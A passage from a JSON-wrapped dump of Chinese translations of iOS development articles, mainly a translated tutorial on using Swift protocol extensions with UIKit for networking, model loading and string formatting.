的宣讲中直接激起了我的兴趣。为了粘贴操作**和**支持拖拽数据的传递，现在每个 UIResponder 都有一个粘贴配置的属性：\n\n    self.view.pasteConfiguration = UIPasteConfiguration()\n\n这个类主要接受粘贴和拖拽的数据，它可以通过传入特定的标识符来限定只接受你想要的数据：\n\n    //Means this class already knows what UTIs it wants\n    UIPasteConfiguration(forAccepting: UIImage.self)\n\n    //Or we can specify it at a more granular level\n    UIPasteConfiguration(acceptableTypeIdentifiers:[\"public.video\"])\n\n而且这些标识符是可变的，所以如果你的应用需要的话，你可以实时地改变它们：\n\n    let pasteConfig = UIPasteConfiguration(acceptableTypeIdentifiers: [\"public.video\"])\n\n    //Bring on more data\n    pasteConfig.addAcceptableTypeIdentifiers([\"public.image, public.item\"])\n\n    //Or add an instance who already adopts NSItemProviderReading\n    pasteConfig.addTypeIdentifiers(forAccepting: NSURL.self)\n\n现在我们能够轻易的处理拖拽或者粘贴的数据，不论是来自什么系统或者哪个用户，因为在 iOS 11 中所有的 UIResponders 都遵守 [UIPasteConfigurationSupporting](https://developer.apple.com/documentation/uikit/uipasteconfigurationsupporting?changes=latest_minor&amp;language=objc) 协议：\n\n    override func paste(itemProviders: [NSItemProvider])\n    {\n        //Act on pasted data\n    }\n\n#### 总结\n\n很高兴能写一些关于 iOS 11 的东西。虽然总是有很多新东西等着探索和发现，但正因如此，我想我们可以从软件开发中得到一些满足感，毕竟我们中的许多人因为工作或者兴趣的原因每天都要和这些框架打交道。\n\nW.W.D.C. 还在继续进行，大量的代码向我们汹涌而来，我们又有很多新的框架需要掌握，也有很多样例代码需要阅读。这是个令人兴奋的时刻。不论是新的臃肿的导航条，还是 UIFontMetrics ，或者是拖拽式的 API ，都有大量的新内容等着我们去探索。\n\n来不及说了，快上车 📱\n\n\n[![](https://ws4.sinaimg.cn/large/006tNbRwgy1fgdl589rw6j30k105et9j.jpg)](https://twitter.com/jordanmorgan10)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/ios-9-tutorial-series-protocol-oriented-programming-with-uikit.md",
    "content": "> * 原文链接: [iOS 9 系列教程: 使用 UIKit 进行面向协议的编程](http://www.captechconsulting.com/blogs/ios-9-tutorial-series-protocol-oriented-programming-with-uikit)\n* 原文作者 : [TYLER TILLAGE](http://www.captechconsulting.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [walkingway](https://github.com/walkingway)\n* 校对者 :\n* 状态 : 完成\n\n# UIKit 里如何面向协议编程\n\nSwift 中令人耳目一新的「面向协议编程」在 2015 年 WWDC 上一经推出，街头巷尾都在热情洋溢地讨论着**协议扩展**（protocol extensions）---这一激动人心的语言新特性，既然是新特性，第一次接触总要走点弯路。\n\n我已经阅读过无数篇关于 Swift 协议和协议扩展来龙去脉的文章，这些文章无疑都表达了同一个观点：在 Swift 新版图中**协议扩展**拥有绝对主力位置。苹果官方甚至推荐默认使用协议（protocol）来替换类（class），而实现这种方式的关键正是面向协议编程。\n\n但是我读过的这些文章只是把「什么是协议扩展」讲清楚了，并没有揭开「面向协议编程」真正的面纱。尤其是针对日常 UI 的开发，大部分示例代码并没有切合实际的使用场景，也没有利用任何框架。\n\n我想要明确的是：**协议扩展**如何影响现有构建的工程，并且利用这一新特性更好地与 UIKit 协同工作。\n\n现在我们已经拥有了协议扩展，那么在以类为主的 UIKit 中改用基于协议的实现方式是否更有价值。这篇文章我尝试将 Swift 的协议扩展与真实世界的 UI 完美结合，但随着我们进一步探索，就会发现二者的匹配度并不如我们所期望的那样。 \n\n###协议的优势\n\n协议并不是什么新技术，但我们可以使用内置的函数扩展他们，共享内部逻辑，很神奇不是吗？真是个美妙的想法，协议越多代表灵活性越好。一个协议扩展代表可被部署的单一功能模块，并且该模块可以被重载（或不可以）和通过 where 子句与特定类型的代码交互。\n\n> 协议 _Protocols_ 存在的目的让编译器满意就好，但协议扩展 _extensions_ 是一段代码片段，可在整个代码库里共享的有形资产\n\n虽然只可能从一个父类继承，但只要我们需要，可以尽可能多地部署协议扩展。部署一个协议就像是添加一个指令到 Angular.js 里的元素中，我们通过向某些对象注入逻辑从而改变这些对象的行为。协议不再仅仅是一份合同，通过扩展成为了一种可被部署的功能。\n\n## 如何使用扩展协议\n\n协议扩展的用法非常简单，这篇文章不会教你用法，而是引领你们手握`协议扩展`这一利器在 UKIit 开发领域做一些有价值的尝试。如果你需要火速熟悉基本用法，请参考苹果的官方文档 [Official Swift Documentation on Procotol Extensions](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID521)\n\n### 协议扩展的局限\n\n在我们开始前，先让我们澄清下**协议扩展**不是什么，有很多事情**协议扩展**是做不了的，这种限制取决于语言自身设计。不过我还是很期待苹果在未来的 Swift 版本更新中解除一些限制。\n\n* 不能在协议扩展里调用来自 Objective-C 的成员\n* 不能使用 `where` 字句限定 `struct` 类型\n* 不能定义多个以逗号分隔的 `where` 从句，类似于 `if let` 语句\n* 不能在协议扩展内部存储动态变量\n\t* 该规则同样适用于非泛型扩展\n\t* 静态变量应该是允许的，但截至 Xcode 7.0 还会打印 \"静态存储属性不支持泛型类型\" 的错误。\n* <del>与非泛型扩展不同，不能调用 `super` 来执行一个协议扩展</del> [@ketzusaka](https://twitter.com/ketzusaka) 指出可以通过 `(self as MyProtocol).method()` 来调用\n\t* 因为这个原因，协议扩展没有真正意义上的继承概念\n* 不能在多个协议扩展中部署重名的成员方法\n\t* Swift 的运行时只会选择最后部署的协议，而忽略其他的\n\t* 举个例子，如果你有两个协议扩展都实现了相同的方法，那么只有后部署的协议方法的会被实际调用，不能从其他扩展里执行该方法\n* 不能扩展可选的协议方法\n\t* 可选协议要求 @objc 标签，不能和协议扩展一起使用\n* 不能在同一时刻声明一个协议和他的扩展\n\t* 如果你真的想要声明实现放在一起，那就使用 `extension protocol SomeProtocol {}` 吧，因为声明实现都在同一位置，只提供协议实现就好，声明可以省略。\n\n## Part 1: 扩展现有UIKit协议\n\n当我第一次学习协议扩展时，首先想到的就是 `UITableViewDataSource` 这个广为人知的数据源协议。我琢磨着如果能向所有部署了 `UITableViewDataSource` 协议的对象都提供默认的实现，岂不是很酷？\n\n如果每个 `UITableView` 都有一组 sections，那么为什么不扩充 `UITableViewDataSource`，然后在同一个位置实现 `numberOfSectionsInTableView:` 方法？如果在所有的 tables 上都需要滑动删除的功能，为什么不在协议扩展里实现 `UITableViewDelegate` 的相关方法？\n\n但就目前来说，这都是不可能的\n\n**我们不能做什么：**\n为 Objective-C 协议提供一个默认的实现\n\nUIKit 依旧采用 Objective-C 编译，况且 Objective-C 没有协议扩展的概念。这意味着在真实项目中尽管我们有能力在 UIKit 协议里声明扩展，但是 UIKit 对象并不能看到我们扩展里的方法。\n\n举个例子，如果我们扩充了 `UICollectionViewDelegate` 来实现 `collectionView:didSelectItemAtIndexPath:`。但是当你点击 cell 并不会触发该协议方法，这是因为在 Objective-C 上下文环境中 `UICollectionView` 自己是看不到我们实现的协议方法。如果我们将一个必须实现的 delegate 方法（`collectionView:cellForItemAtIndexPath:`）放到协议扩展中，编译器会向我们抱怨：「声明实现协议的对象」没有遵守 `UICollectionViewDelegate` 协议（因为看不到） \n\nXcode 尝试在我们的协议扩展方法前添加 `@objc` 来解决这一问题，只能说想象总是美好的，现实却很残酷。又冒出一个新错误：「协议扩展中的方法不能应用于 Objective-C」，这才是根本问题所在--协议扩展只适用于 Swift 2.0 以上的版本\n\n**我们能做什么**\n添加一个新方法到现有的 Objective-C 协议中\n\n我们能够在 Swift 中直接调用 UIKit 协议扩展里的方法，即使 UIKit 看不见他们。这就意味着尽管我们不能覆盖 _override_ UIKit 已有的协议方法，但是我们能为现有的协议添加新的便利方法。\n\n我承认，不那么令人兴奋，任何属于 Objective-C 的框架代码都不能调用这些方法。但别灰心，我们还有机会。下面一些例子尝试将协议扩展和 UIKit 里存在的协议结合起来。\n\n### UIKit协议扩展示例\n\n#### 扩展 `UICoordinateSpace`\n\n有时候需要在 Core Graphics 和 UIKit 的坐标系之间进行转换，我们可以添加一个 helper 方法到协议 `UICoordinateSpace` 中，UIView 也遵守该协议\n\n```swift\nextension UICoordinateSpace {\n    func invertedRect(rect: CGRect) -> CGRect {\n        var transform = CGAffineTransformMakeScale(1, -1)\n        transform = CGAffineTransformTranslate(transform, 0, -self.bounds.size.height)\n        return CGRectApplyAffineTransform(rect, transform)\n    }\n}\n```\n\n现在我们的 `invertedRect` 方法可以应用在任何遵守 `UICoordinateSpace` 协议的对象上，我们在绘图代码中使用他：\n\n```swift\nclass DrawingView : UIView {\n    // Example -- Referencing custom UICoordinateSpace method inside UIView drawRect.\n    override func drawRect(rect: CGRect) {\n        let invertedRect = self.invertedRect(CGRectMake(50.0, 50.0, 200.0, 100.0))\n        print(NSStringFromCGRect(invertedRect)) // 50.0, -150.0, 200.0, 100.0\n    }\n}\n```\n> `UIView` 遵守 `UICoordinateSpace` 协议\n\n#### 扩展 `UITableViewDataSource`\n\n尽管我们不能提供关于 `UITableViewDataSource` 默认的实现方法，但我们依旧可以将全局逻辑放进协议中方便遵守 `UITableViewDataSource` 的对象使用。\n\n```swift\nextension UITableViewDataSource {\n    // Returns the total # of rows in a table view.\n    func totalRows(tableView: UITableView) -> Int {\n        let totalSections = self.numberOfSectionsInTableView?(tableView) ?? 1\n        var s = 0, t = 0\n        while s < totalSections {\n            t += self.tableView(tableView, numberOfRowsInSection: s)\n            s++\n        }\n        return t\n    }\n}\n```\n\n上面的 `totalRows:` 方法可以快速统计 table view 中有多少条目（item），特别是 cell 分散在各个 sections 之中，而又想快速得到一个总条目数时尤其有用。调用该方法的一个绝佳位置就在 `tableView:titleForFooterInSection:` 里：\n\n```swift\nclass ItemsController: UITableViewController {\n    // Example -- displaying total # of items as a footer label.\n    override func tableView(tableView: UITableView, titleForFooterInSection section: Int) -> String? {\n        if section == self.numberOfSectionsInTableView(tableView) - 1 {\n            return String(\"Viewing %f Items\", self.totalRows(tableView))\n        }\n        return \"\"\n    }\n}\n```\n\n####扩展 `UIViewControllerContextTransitioning`\n\n或许你已拜读过我在 iOS 7 出来时写的关于自定义导航栏的[文章](https://www.captechconsulting.com/blogs/ios-7-tutorial-series-custom-navigation-transitions--more)，也尝试开始自定义导航栏过渡。这里有一组之前文章使用的方法，让我们统统放进 `UIViewControllerContextTransitioning` 协议里。\n\n```swift\nextension UIViewControllerContextTransitioning {\n    // Mock the indicated view by replacing it with its own snapshot. \n    // Useful when we don't want to render a view's subviews during animation, \n    // such as when applying transforms.\n    func mockViewWithKey(key: String) -> UIView? {\n        if let view = self.viewForKey(key), container = self.containerView() {\n            let snapshot = view.snapshotViewAfterScreenUpdates(false)\n            snapshot.frame = view.frame\n\n            container.insertSubview(snapshot, aboveSubview: view)\n            view.removeFromSuperview()\n            return snapshot\n        }\n\n        return nil\n    }\n\n    // Add a background to the container view. Useful for modal presentations, \n    // such as showing a partially translucent background behind our modal content.\n    func addBackgroundView(color: UIColor) -> UIView? {\n        if let container = self.containerView() {\n            let bg = UIView(frame: container.bounds)\n            bg.backgroundColor = color\n\n            container.addSubview(bg)\n            container.sendSubviewToBack(bg)\n            return bg\n        }\n        return nil\n    }\n}\n```\n\n我们在 `transitionContext` 对象（`UIViewControllerContextTransitioning`）中执行这些方法，该对象一般作为参数传递给我们的 **animation coordinator**（`UIViewControllerAnimatedTransitioning`）：\n\n```swift\nclass AnimationCoordinator : NSObject, UIViewControllerAnimatedTransitioning {\n    // Example -- using helper methods during a view controller transition.\n    func animateTransition(transitionContext: UIViewControllerContextTransitioning) {\n        // Add a background\n        transitionContext.addBackgroundView(UIColor(white: 0.0, alpha: 0.5))\n\n        // Swap out the \"from\" view\n        transitionContext.mockViewWithKey(UITransitionContextFromViewKey)\n\n        // Animate using awesome 3D animation...\n    }\n\n    func transitionDuration(transitionContext: UIViewControllerContextTransitioning?) -> NSTimeInterval {\n        return 5.0\n    }\n}\n```\n\n比方说我们的应用程序有多个 `UIPageControl` 实例，然后我们复制粘贴一些代码在 `UIScrollViewDelegate` 的实现里让其工作。通过协议扩展我们可以构建全局一种逻辑，调用时仍然使用 `self`\n\n```swift\nextension UIScrollViewDelegate {\n    // Convenience method to update a UIPageControl with the correct page.\n    func updatePageControl(pageControl: UIPageControl, scrollView: UIScrollView) {\n        pageControl.currentPage = lroundf(Float(scrollView.contentOffset.x / (scrollView.contentSize.width / CGFloat(pageControl.numberOfPages))));\n    }\n}\n```\n\n此外，如果我们知道 `Self` 就是 `UICollectionViewController`，那么可以去掉**参数** `scrollView` \n\n```swift\nextension UIScrollViewDelegate where Self: UICollectionViewController {\n   func updatePageControl(pageControl: UIPageControl) {\n        pageControl.currentPage = lroundf(Float(self.collectionView!.contentOffset.x / (self.collectionView!.contentSize.width / CGFloat(pageControl.numberOfPages))));\n    }\n}\n\n// Example -- Page control updates from a UICollectionViewController using a protocol extension.\nclass PagedCollectionView : UICollectionViewController {\n    let pageControl = UIPageControl()\n\n    override func scrollViewDidScroll(scrollView: UIScrollView) {\n        self.updatePageControl(self.pageControl)\n    }\n}\n```\n\n无可否认的，这些例子有些牵强，事实证明想要扩展现有 UIKit 协议时，我们并没有太多手段，任何努力都有点微不足道。但是，这儿仍有一个问题需要我们面对，就是如何配合现有的 UIKit 设计模式部署自定义的协议扩展。 \n\n## Part 2: 扩展自定义协议\n\n### MVC 中使用面向协议编程\n\n一个 iOS 应用程序从其核心来看执行三个基本功能，通常描述为 MVC（模型-视图-控制器）模型。所有的 App 所做的不过是对数据进行一些操作并将其显示在屏幕上。\n\n![](http://www.captechconsulting.com/blogs/library/A9AAC94D44AB4D64B4F2634F2E4AF6B8.ashx?h=480&w=1200)\n\n下面三个例子中，我将会向你们安利**面向协议编程**的设计模式思想，并尝试使用**协议扩展**依次改造 MVC 模式下的三个组件 Model -> Controller -> View。\n\n### Model 管理中的协议（M）\n\n假设我们要做一个音乐 App，叫做鸭梨音乐。也就是有一堆关于艺术家、专辑、歌曲和播放列表的 **model** 对象，接下来我们要构建一些**基于的标识符代码**来从网络下载这些 models（标识符已经预先载入）\n\n实践协议最好的方式是从高等级的抽象开始。最原始的想法是我们有一个资源需要通过远端服务器 API 获取，来吧少年！开始创建一个协议\n\n```swift\n// Any entity which represents data which can be loaded from a remote source.\nprotocol RemoteResource {}\n```\n\n但是别急，这还只是一个空协议! `RemoteResource` 并不是用来直接部署的，他不是一份合同契约，而是一组用来执行网络请求的功能集合。因此 `RemoteResource` 真正的价值在于他的协议扩展。\n\n```swift\nextension RemoteResource {\n    func load(url: String, completion: ((success: Bool)->())?) {\n        print(\"Performing request: \", url)\n\n        let task = NSURLSession.sharedSession().dataTaskWithURL(NSURL(string: url)!) { (data, response, error) -> Void in\n            if let httpResponse = response as? NSHTTPURLResponse where error == nil && data != nil {\n                print(\"Response Code: %d\", httpResponse.statusCode)\n\n                dataCache[url] = data\n                if let c = completion {\n                    c(success: true)\n                }\n            } else {\n                print(\"Request Error\")\n                if let c = completion {\n                    c(success: false)\n                }\n            }\n        }\n        task.resume()\n    }\n\n    func dataForURL(url: String) -> NSData? {\n        // A real app would require a more robust caching solution.\n        return dataCache[url]\n    }\n}\n\npublic var dataCache: [String : NSData] = [:]\n```\n\n现在我们有一个协议，内建了从远程服务器抓取数据的功能，任何部署了该协议的对象都能自动获得这些方法。\n\n我们有两个 API 用来和远程服务器交互，一个适用于 JSON 数据 (api.pearmusic.com)，另一个适用于媒体数据 (media.pearmusic.com)，为了处理这些数据，我们将针对不同的数据类型创建相应的 `RemoteResource` 子协议。\n\n```swift\nprotocol JSONResource : RemoteResource {\n    var jsonHost: String { get }\n    var jsonPath: String { get }\n    func processJSON(success: Bool)\n}\n\nprotocol MediaResource : RemoteResource {\n    var mediaHost: String { get }\n    var mediaPath: String { get }\n}\n```\n\n让我们实现这些协议\n\n```swift\nextension JSONResource {\n    // Default host value for REST resources\n    var jsonHost: String { return \"api.pearmusic.com\" }\n\n    // Generate the fully qualified URL\n    var jsonURL: String { return String(format: \"http://%@%@\", self.jsonHost, self.jsonPath) }\n\n    // Main loading method.\n    func loadJSON(completion: (()->())?) {\n        self.load(self.jsonURL) { (success) -> () in\n            // Call adopter to process the result\n            self.processJSON(success)\n\n            // Execute completion block on the main queue\n            if let c = completion {\n                dispatch_async(dispatch_get_main_queue(), c)\n            }\n        }\n    }\n}\n```\n\n我们提供了一个默认主机值，一个生成完整 URL 的请求方法，以及一个从 `RemoteResource` 载入加载资源的 `load:` 方法。我们稍后会依赖以上实现来提供正确的解析方法 `jsonPath`\n\n`MediaResource` 的实现遵循类似模式：\n\n```swift\nextension MediaResource {\n    // Default host value for media resources\n    var mediaHost: String { return \"media.pearmusic.com\" }\n\n    // Generate the fully qualified URL\n    var mediaURL: String { return String(format: \"http://%@%@\", self.mediaHost, self.mediaPath) }\n\n    // Main loading method\n    func loadMedia(completion: (()->())?) {\n        self.load(self.mediaURL) { (success) -> () in\n            // Execute completion block on the main queue\n            if let c = completion {\n                dispatch_async(dispatch_get_main_queue(), c)\n            }\n        }\n    }\n}\n```\n\n你或许可能注意到了这些实现非常相似。事实上，将很多方法提升到 `RemoteResource` 层面具有非凡的意义，根据需要从子协议返回相应的主机值（host）即可。\n\n美中不足的是，我们的协议并不是相互排斥的，我们希望有一个对象能同时满足 `JSONResource` 和 `MediaResource`。记住协议扩展是彼此相互覆盖的，除非我们采用不同的属性或方法，不然每次都是最后部署的协议才会被调用\n\n让我们来专门研究下数据访问方法\n\n```swift\nextension JSONResource {\n    var jsonValue: [String : AnyObject]? {\n        do {\n            if let d = self.dataForURL(self.jsonURL), result = try NSJSONSerialization.JSONObjectWithData(d, options: NSJSONReadingOptions.MutableContainers) as? [String : AnyObject] {\n                return result\n            }\n        } catch {}\n        return nil\n    }\n}\n\nextension MediaResource {\n    var imageValue: UIImage? {\n        if let d = self.dataForURL(self.mediaURL) {\n            return UIImage(data: d)\n        }\n        return nil\n    }\n}\n```\n\n这是一个关于协议扩展经典的例子，传统的协议会说：「我承诺我属于这种类型，具备这些特性」。而一个协议扩展则会说：「因为我有这些特性，所以我能做这些独一无二的事情」。既然 `MediaResource` 有能力访问图像数据，那么应用该协议的对象也能很轻松地提供一个 `imageValue` ，而不用考虑特定类型或上下文环境。\n\n前面提到我们将会基于已知的标识符加载 models，所以让我们为「具有唯一标识的实体」创建一个协议\n\n```swift\nprotocol Unique {\n    var id: String! { get set }\n}\n\nextension Unique where Self: NSObject {\n    // Built-in init method from a protocol!\n    init(id: String?) {\n        self.init()\n        if let identifier = id {\n            self.id = identifier\n        } else {\n            self.id = NSUUID().UUIDString\n        }\n    }\n}\n\n// Bonus: Make sure Unique adopters are comparable.\nfunc ==(lhs: Unique, rhs: Unique) -> Bool {\n    return lhs.id == rhs.id\n}\nextension NSObjectProtocol where Self: Unique {\n    func isEqual(object: AnyObject?) -> Bool {\n        if let o = object as? Unique {\n            return o.id == self.id\n        }\n        return false\n    }\n}\n```\n\n由于不能在扩展 extension 中创建存储属性，我们还是需要依赖遵守 `Unique` 协议的对象来声明`id` 属性。加之，你或许注意到了我仅在 `Self: NSObject` 时扩展了 `Unique`，否则，我们不能调用 `self.init()`，这是因为没有他的声明。一个变通的解决方案就是在该协议中声明一个 `init()` ，但是需要遵守协议的对象来显式实现他， 因为我们所有的 models 都是基于 `NSObject`的，所幸这并不成问题。\n\n好了，我们已经得到了一个从网络获取资源的基本方案，让我们开始创建遵守这些协议的  models。下面是我们的 `Song` 模型的样子：\n\n```swift\nclass Song : NSObject, JSONResource, Unique {\n    // MARK: - Metadata\n    var title: String?\n    var artist: String?\n    var streamURL: String?\n    var duration: NSNumber?\n    var imageURL: String?\n\n    // MARK: - Unique\n    var id: String!\n}\n```\n\n等等，`JSONResource` 的实现在哪里？\n\n相比直接在类中实现 `JSONResource`，我们可以使用条件协议扩展来代替，这会让我们有能力将所有基于 `RemoteResource` 的逻辑代码组织整合在一起，这样调整起来更方便，也使 model 实现更清晰。因此除了 `RemoteResource` 逻辑之前的代码外，我们将下面的代码放进 `RemoteResource.swift` 文件，\n\n```swift\nextension JSONResource where Self: Song {\n    var jsonPath: String { return String(format: \"/songs/%@\", self.id) }\n\n    func processJSON(success: Bool) {\n        if let json = self.jsonValue where success {\n            self.title = json[\"title\"] as? String ?? \"\"\n            self.artist = json[\"artist\"] as? String ?? \"\"\n            self.streamURL = json[\"url\"] as? String ?? \"\"\n            self.duration = json[\"duration\"] as? NSNumber ?? 0\n        }\n    }\n}\n```\n\n将所有与 `RemoteResource` 相关的代码整合在同一个位置好处多多。首先在同一个地方完成协议实现，扩展的作用域很清晰。当声明一个将要扩展的协议时，我建议将扩展代码和声明的协议放在同一文件中\n\n下面是加载歌曲 `Song` 的实现，多亏了 `JSONResource` 和 `Unique` 协议扩展\n\n```swift\nlet s = Song(id: \"abcd12345\")\nlet artistLabel = UILabel()\n\ns.loadJSON { (success) -> () in\n    artistLabel.text = s.artist\n}\n```\n\n我们的歌曲 `Song` 对象是一些元数据的简单封装，他本该如此，所有的苦差事都应交给协议扩展去做。\n\n下面例子中的 `Playlist` 对象同时遵守了 `JSONResource` 和 `MediaResource` 协议\n\n```swift\nclass Playlist: NSObject, JSONResource, MediaResource, Unique {\n    // MARK: - Metadata\n    var title: String?\n    var createdBy: String?\n    var songs: [Song]?\n\n    // MARK: - Unique\n    var id: String!\n}\n\nextension JSONResource where Self: Playlist {\n    var jsonPath: String { return String(format: \"/playlists/%@\", self.id) }\n\n    func processJSON(success: Bool) {\n        if let json = self.jsonValue where success {\n            self.title = json[\"title\"] as? String ?? \"\"\n            self.createdBy = json[\"createdBy\"] as? String ?? \"\"\n            // etc...\n        }\n    }\n}\n```\n\n在我们盲目地为 `Playlist` 实现 `MediaResource` 之前，先回退一步，我们注意到我们的媒体 API 只需要远端的标识，并没有指定协议应用者的类型，这就意味只要我们知道标识符，我们就能构建 `mediaPath`。让我们使用一个 `where` 从句来限定 `MediaResource` 聪明到只在 `Unique` 下工作\n\n```swift\nextension MediaResource where Self: Unique {\n    var mediaPath: String { return String(format: \"/images/%@\", self.id) }\n}\n```\n\n因为 `Playlist` 已经遵循了 `Unique`，因此我们不需要再做字面上的处理，就可以和 `MediaResource` 一起愉快地工作！同样的逻辑反过来也成立（遵循了 `MediaResource`，也必然适配于 `Unique` 协议），即只要对象的标识对应媒体 API 中的一张图片，就能正常工作。（创建 `mediaPath`）\n\n下面演示如何载入 `Playlist` 图像\n\n```swift\nlet p = Playlist(id: \"abcd12345\")\nlet playlistImageView = UIImageView(frame: CGRectMake(0.0, 0.0, 200.0, 200.0))\n\np.loadMedia { () -> () in\n    playlistImageView.image = p.imageValue\n}\n```\n\n我们现在拥有一种通用方式来定义远程资源，能够被程序中的任意实体使用，而不仅仅局限于这些模型对象。我们能够很方便地扩展 `RemoteResource` 来处理不同类型的 REST 操作，并针对更多的数据类型添加额外的子协议。\n\n### 数据格式化的协议\n\n现在我们已经构造了一种加载模型对象的方式，继续深入到下一个阶段吧。我们需要格式化来自对象的元数据，并以一致的方式显示在用户面前。\n\n鸭梨音乐是一个大工程，拥有相当数量不同类型的模型，每一个模型都可能在不同位置显示。比如，如果我们有一个以 `Artist` 为标题的 view controller，我们会只显示艺术家名字 {name}。但是，如果我们拥有额外的空间，比如一个存在 `UITableViewCell`，我们就会使用 \"{name} ({instrument})\"。再进一步，如果在 `UILabel` 里有更大空间，则会使用 \"{name} ({instrument}) {bio}\"。\n\n虽然将这些格式化代码放到 view controllers, cells 和 labels 中也可以正常工作，但是如果我们能将这些分散的逻辑提取出来供整个 app 使用，会提高整个应用的可维护性。\n\n我们可以将字符串格式化代码就放在模型对象中，但当我们真要显示字符串时，需要确定 model 的类型。\n\n我们可以在基类中定义一些便利方法，然后每个子类模型都提供自己的格式化方法，但是在面向协议编程中，我们应该思考更加通用的方式。\n\n让我们将这种想法抽象成另一个协议，指定一些可以表现为字符串的实体。然后将会针对各种 UI 方案，提供不同长度的字符串\n\n```swift\n// Any entity which can be represented as a string of varying lengths.\nprotocol StringRepresentable {\n    var shortString: String { get }\n    var mediumString: String { get }\n    var longString: String { get }\n}\n\n// Bonus: Make sure StringRepresentable adopters are printed descriptively to the console.\nextension NSObjectProtocol where Self: StringRepresentable {\n    var description: String { return self.longString }\n}\n```\n\n足够简单吧，这里还有几个模型对象，我们将他们变成 `StringRepresentable`：\n\n```swift\nclass Artist : NSObject, StringRepresentable {\n    var name: String!\n    var instrument: String!\n    var bio: String!\n}\n\nclass Album : NSObject, StringRepresentable {\n    var title: String!\n    var artist: Artist!\n    var tracks: Int!\n}\n```\n\n类似于在 `RemoteResource` 中我们的实现，我们将所有的格式化逻辑放进单独的 `StringRepresentable.swift` 文件。\n\n```swift\nextension StringRepresentable where Self: Artist {\n    var shortString: String { return self.name }\n    var mediumString: String { return String(format: \"%@ (%@)\", self.name, self.instrument) }\n    var longString: String { return String(format: \"%@ (%@), %@\", self.name, self.instrument, self.bio) }\n}\n\nextension StringRepresentable where Self: Album {\n    var shortString: String { return self.title }\n    var mediumString: String { return String(format: \"%@ (%d Tracks)\", self.title, self.tracks) }\n    var longString: String { return String(format: \"%@, an Album by %@ (%d Tracks)\", self.title, self.artist.name, self.tracks) }\n}\n```\n\n至此，我们已经处理了各种格式。现在我们需要针对特定的 UI 来显示对应的字符串。基于这种通用的方式，让我们定义一种行为，将满足了 `StringRepresentable` 协议的对象显示在屏幕上，在该协议提供了 `containerSize` 和 `containerFont` 用来计算。\n\n```swift\nprotocol StringDisplay {\n    var containerSize: CGSize { get }\n    var containerFont: UIFont { get }\n    func assignString(str: String)\n}\n```\n\n我推荐在协议中只声明方法，而具体实现放到遵循协议的对象中。在协议扩展中，我们将添加真正的实现代码。`displayStringValue:` 方法会决定哪个字符串会被使用，然后传递给指定类型的 `assignString:` 方法\n\n\n```swift\nextension StringDisplay {\n    func displayStringValue(obj: StringRepresentable) {\n        // Determine the longest string which can fit within the containerSize, then assign it.\n        if self.stringWithin(obj.longString) {\n            self.assignString(obj.longString)\n        } else if self.stringWithin(obj.mediumString) {\n            self.assignString(obj.mediumString)\n        } else {\n            self.assignString(obj.shortString)\n        }\n    }\n\n#pragma mark - Helper Methods\n\n    func sizeWithString(str: String) -> CGSize {\n        return (str as NSString).boundingRectWithSize(CGSizeMake(self.containerSize.width, .max),\n            options: .UsesLineFragmentOrigin,\n            attributes:  [NSFontAttributeName: self.containerFont],\n            context: nil).size\n    }\n\n    private func stringWithin(str: String) -> Bool {\n        return self.sizeWithString(str).height <= self.containerSize.height\n    }\n}\n```\n\n现在我们有一个遵守 `StringRepresentable` 协议的模型对象，还拥有可以自动选择字符串的协议。此协议一旦成功部署，会自动帮助我们选择正确的字符串，那么接下来该如何整合进 UIKit 中呢？\n\n先拿最简单的 `UILabel` 开刀吧。传统的方式是创建 `UILabel` 的子类，然后部署该协议，接下来在需要使用 `StringRepresentable` 的地方使用这个自定义的 `UILabel`。但更好的选择是使用一个指定类型（UILable 类）的扩展让所有的 `UILabel` 实例自动部署 `StringDisplay` 协议：\n\n>这种方式就不需要创建 `UILable` 的子类了\n\n```swift\nextension UILabel : StringDisplay {\n    var containerSize: CGSize { return self.frame.size }\n    var containerFont: UIFont { return self.font }\n    func assignString(str: String) {\n        self.text = str\n    }\n}\n```\n\n就是这么简单，对于其他的 UIKit 类，我们可以做同样的事情，只要满足 `StringDisplay` 协议就能正常工作了，是不是很神奇呢？\n\n```swift\nextension UITableViewCell : StringDisplay {\n    var containerSize: CGSize { return self.textLabel!.frame.size }\n    var containerFont: UIFont { return self.textLabel!.font }\n    func assignString(str: String) {\n        self.textLabel!.text = str\n    }\n}\n\nextension UIButton : StringDisplay {\n    var containerSize: CGSize { return self.frame.size}\n    var containerFont: UIFont { return self.titleLabel!.font }\n    func assignString(str: String) {\n        self.setTitle(str, forState: .Normal)\n    }\n}\n\nextension UIViewController : StringDisplay {\n    var containerSize: CGSize { return self.navigationController!.navigationBar.frame.size }\n    var containerFont: UIFont { return UIFont(name: \"HelveticaNeue-Medium\", size: 34.0)! } // default UINavigationBar title font\n    func assignString(str: String) {\n        self.title = str\n    }\n}\n```\n\n下面我们来看看以上实现在真实世界的样子，先声明一个 `Artist` 对象，已经部署了 `StringRepresentable` 协议。\n\n```swift\nlet a = Artist()\na.name = \"Bob Marley\"\na.instrument = \"Guitar / Vocals\"\na.bio = \"Every little thing's gonna be alright.\"\n```\n\n因为 `UIButton` 的所有实例都通过扩展的方式部署了 `StringDisplay` 协议，妈妈再也不用担心我们直接调用他们的 `displayStringValue:` 方法了\n\n```swift\nlet smallButton = UIButton(frame: CGRectMake(0.0, 0.0, 120.0, 40.0))\nsmallButton.displayStringValue(a)\n\nprint(smallButton.titleLabel!.text) // 'Bob Marley'\n\nlet mediumButton = UIButton(frame: CGRectMake(0.0, 0.0, 300.0, 40.0))\nmediumButton.displayStringValue(a)\n\nprint(mediumButton.titleLabel!.text) // 'Bob Marley (Guitar / Vocals)'\n```\n\n按钮现可以根据自身 frame 大小灵活显示标题了。\n\n当用户点击一个 `Album` 唱片，我们为其压栈（push）一个 